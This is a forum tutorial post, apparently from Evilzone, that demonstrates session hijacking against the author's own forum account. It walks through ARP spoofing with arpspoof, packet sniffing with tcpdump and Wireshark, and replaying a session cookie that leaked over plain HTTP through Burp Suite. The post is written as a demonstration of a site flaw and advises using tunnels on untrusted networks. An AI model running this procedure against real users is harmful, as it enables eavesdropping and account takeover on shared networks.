Session stealing with evilzone and friends. Today I would like to demonstrate a very simple client side attack called sessions token stealing or session hijacking.
Since on multiple occasions the flaw was mentioned I thought it would be nice to show it in action.
Many websites are still vulnerable to this attack.
SSL does not perse protect the user , such as in this scenario.
What are we going to use:
Webbrowser
Burpsuite (
http://portswigger.net/burp/)
Arpspoof (
http://www.monkey.org/~dugsong/dsniff/)
Scenario:
The victim machine will visit evilzone and post something.
The attacker machine is located in the same subnet and will attempt to steal certain packets the victim sends, it will than use this data to impersonate the victim.
Attacker: 192.168.1.34
Victim : 192.168.1.77
The attacking side will set up a simple arppoison attack.
# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i eth0 -t 192.168.1.77 192.168.1.254
A quick tcpdump on the interface shows:
13:07:21.532379 IP 192.168.1.77.44420 > Evilzone.org.https: Flags [R], seq 939984954, win 0, length 0
So the traffic is routed through the machine and we can sit in to listen to the traffic going by.
# tcpdump -i eth0-X -s0 port 80
Eventhough the victim is visiting the the page over port 443 the amount of traffic seen directed at port 80 is massive.
13:14:55.860071 IP 192.168.1.77.53384 > Evilzone.org.http: Flags [.], ack 4345, win 182, options [nop,nop,TS val 235053 ecr 1410152349], length 0
0x0000: 4500 0034 c505 4000 4006 4329 c0a8 014d E..4..@.@.C)...M
0x0010: 0509 6b97 d088 0050 fbbc 58d8 57f3 2f5b ..k....P..X.W./[
0x0020: 8010 00b6 74da 0000 0101 080a 0003 962d ....t..........-
0x0030: 540d 379d T.7.
For lazy purposes we will fire up wireshark on the interface.
We add in this filter to clear up our output.
As long as the victim is visiting evilzone with SSL encryption the ammount of traffic should be very limited.
Filter : (http ) && (ip.src == 192.168.1.77)
In this screenshot the victim is browsing over plain http.
This is from one of the packets, we can clearly see what is being sent.
Cookie: PHPSESSID=30693ajcf3bbmalpsaolobe0qes28rhj; __utma=192294910.1445865723.1387109694.1387109694.1387109694.1; __utmb=192294910.13.10.1387109694; __utmc=192294910; __utmz=192294910.1387109694.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DarkEvilCookie=a%3A4%3A%7Bi%3A0%3Bs%3A4%3A%229171%22%3Bi%3A1%3Bs%3A40%3A%229dcd012f479e727c90f02a9e2e126fbe1e01d583%22%3Bi%3A2%3Bi%3A1576326361%3Bi%3A3%3Bi%3A3%3B%7D
Those cookies are so evil
However when the victim is browsing over SSL this is obviously encrypted and not visible to the naked eye, right...
Now for the interesting part:
The victim is connected over SSL and just posted a topic.
This here should not be visible to the attacker, yet it is.
The GET request goes over plain HTTP and is not encrypted as shown here:
FE$np@@M k PD]s2
TxGET /operating-system/delete_me_testing_purpose/new/ HTTP/1.1
Host: evilzone.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=30693ajcf3bbmalpsaolobe0qes28rhj; __utma=192294910.1445865723.1387109694.1387109694.1387109694.1; __utmb=192294910.20.10.1387109694; __utmc=192294910; __utmz=192294910.1387109694.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DarkEvilCookie=a%3A4%3A%7Bi%3A0%3Bs%3A4%3A%229171%22%3Bi%3A1%3Bs%3A40%3A%229dcd012f479e727c90f02a9e2e126fbe1e01d583%22%3Bi%3A2%3Bi%3A1576326361%3Bi%3A3%3Bi%3A3%3B%7D
Connection: keep-alive
Now lets fire up burpsuite and a webbrowser on the attacking machine.
We configure the browser to connect to localhost:8080
If you want to know how burpsuite works.. rtfm
Intercept is on by default and as soon as we visit
https://evilzone.org on the victim machine we see this in the request.
DarkEvilCookie=a%3A4%3A%7Bi%3A0%3Bs%3A4%3A%229171%22%3Bi%3A1%3Bs%3A40%3A%229dcd012f479e727c90f02a9e2e126fbe1e01d583%22%3Bi%3A2%3Bi%3A1553857395%3Bi%3A3%3Bi%3A3%3B%7D; __utma=192294910.520749558.1367778173.1367778173.1367778173.1
We simply replace this string with the one we have seen sent unecrypted.
As soon as we click the forward button:
Guys ; we need to fix that
Anyway this shows that you should probably not use evilzone directly from public or untrusted networks.
Tunneling the traffic to a safe location would be your best bet.
Hope someone learnt something today.
And for those punks who are going to try; my session is expired, forget it.
